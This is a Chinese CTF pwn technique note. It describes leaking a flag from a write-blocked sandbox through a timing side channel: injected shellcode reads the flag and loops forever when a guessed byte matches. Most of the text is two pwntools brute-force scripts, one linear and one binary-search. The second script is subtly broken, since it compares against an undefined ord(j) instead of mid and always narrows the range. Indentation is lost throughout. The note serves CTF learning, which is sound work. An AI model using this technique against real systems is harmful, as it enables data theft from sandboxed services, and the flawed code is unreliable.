原理
沙箱禁用write
的时候可以通过shellcode
逐位爆破,先将flag
读到栈上,再依次爆破栈上每一位的内容,通过cmp
比较的结果跳转到死循环,再根据接收数据的时间差判断是否进入死循环
shellcode
遍历字符集
在flag
出现的字符种类较少的时候使用,直接cmp
判断相同的时候跳到死循环,即je
,此时字符集中的顺序会影响效率
for i in range (len(flag),50):
for j in charset:
global r
r = process('./pwn')
sleep(3)
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
except:
pass
else:
if start_time > 2:
flag += j
break
li('flag = ' + flag)
if flag[-1]=="}":
break
二分法
如果字符范围较大可以使用二分法进行优化,即利用ja
在大于的时候跳转到死循环,遍历0x20-0x80
for i in range (len(flag),50):
left = 0
right = 127
while left < right:
global r
r = process('./pwn')
mid = (left + right) >> 1
sleep(3)
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'''
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
ja $-2
ret
'''
payload += asm(shellcode)
try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
r.close()
if start_time > 2:
left = mid + 1
except:
pass
else:
right = mid
li('flag = ' + flag)
flag += chr(left)
if flag[-1]=="}":
break
注意点
陷入死循环一次clean
时间在2
秒,除了跳转到死循环的,在比较时不相同也是有时间差的,远程打的越久时间差越大,这种时候可以通过:增加clean
的次数,每增加一次死循环后的时间+2
,或者把爆破出来的内容添加到flag
中之后重启远程。爆破出来的值也不完全准确,需要多次测试。